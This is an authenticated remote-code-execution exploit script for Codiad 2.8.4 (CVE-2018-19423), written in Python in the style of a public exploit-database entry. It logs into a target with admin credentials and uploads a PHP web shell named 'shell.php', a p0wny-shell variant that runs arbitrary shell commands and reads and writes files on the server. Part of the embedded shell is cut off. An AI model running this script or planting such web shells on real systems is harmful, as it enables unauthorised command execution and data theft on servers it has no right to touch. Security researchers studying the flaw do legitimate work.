# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (3) # Date: 24.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: http://codiad.com/ # Software Link: https://github.com/Codiad/Codiad/releases/tag/v.2.8.4 # Version: 2.8.4 # Tested on Xubuntu 20.04 # CVE: CVE-2018-19423 ''' Description: Codiad 2.8.4 allows remote authenticated administrators to execute arbitrary code by uploading an executable file. ''' ''' Import required modules: ''' import requests import json import time import sys import urllib.parse ''' User Input: ''' target_ip = sys.argv[1] target_port = sys.argv[2] username = sys.argv[3] password = sys.argv[4] codiadpath = input('Please input the path of Codiad( for example: / ): ') projectname = input('Please input the name of the actual project: ') ''' Get cookie ''' session = requests.Session() link = 'http://' + target_ip + ':' + target_port + codiadpath response = session.get(link) cookies_session = session.cookies.get_dict() cookie = json.dumps(cookies_session) cookie = cookie.replace('"}','') cookie = cookie.replace('{"', '') cookie = cookie.replace('"', '') cookie = cookie.replace(" ", '') cookie = cookie.replace(":", '=') ''' Authentication: ''' # Compute Content-Length: base_content_len = 45 username_encoded = urllib.parse.quote(username, safe='') username_encoded_len = len(username_encoded.encode('utf-8')) password_encoded = urllib.parse.quote(password, safe='') password_encoded_len = len(password_encoded.encode('utf-8')) content_len = base_content_len + username_encoded_len + password_encoded_len # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': '*/*', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': str(content_len), 'Origin': 'http://' + target_ip + ':' + target_port, 'Connection': 'close', 'Referer': 'http://' + target_ip + ':' + target_port + '/', 'Cookie': cookie } # Body: body = { 'username': username, 'password': password, 'theme': 'default', 'language': 'en' } # Post authentication request: link_base = 'http://' + target_ip + ':' + target_port + codiadpath link_auth = link_base + 'components/user/controller.php?action=authenticate' print('') print('Posting authentication request: ') auth = requests.post(link_auth, headers=header, data=body) print('Response: ') print(auth.text) time.sleep(2) ''' Upload Webshell: ''' # Construct Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', "Content-Type": "multipart/form-data; boundary=---------------------------289777152427948045812862014674", 'Connection': 'close', 'Cookie': cookie, 'Upgrade-Insecure-Requests': '1' } # Construct Shell Payload: https://github.com/flozz/p0wny-shell data = "\r\n\r\n\r\n-----------------------------289777152427948045812862014674\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n\r\n\r\n&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?>\n\n\n\n \n \n p0wny@shell:~#\n \n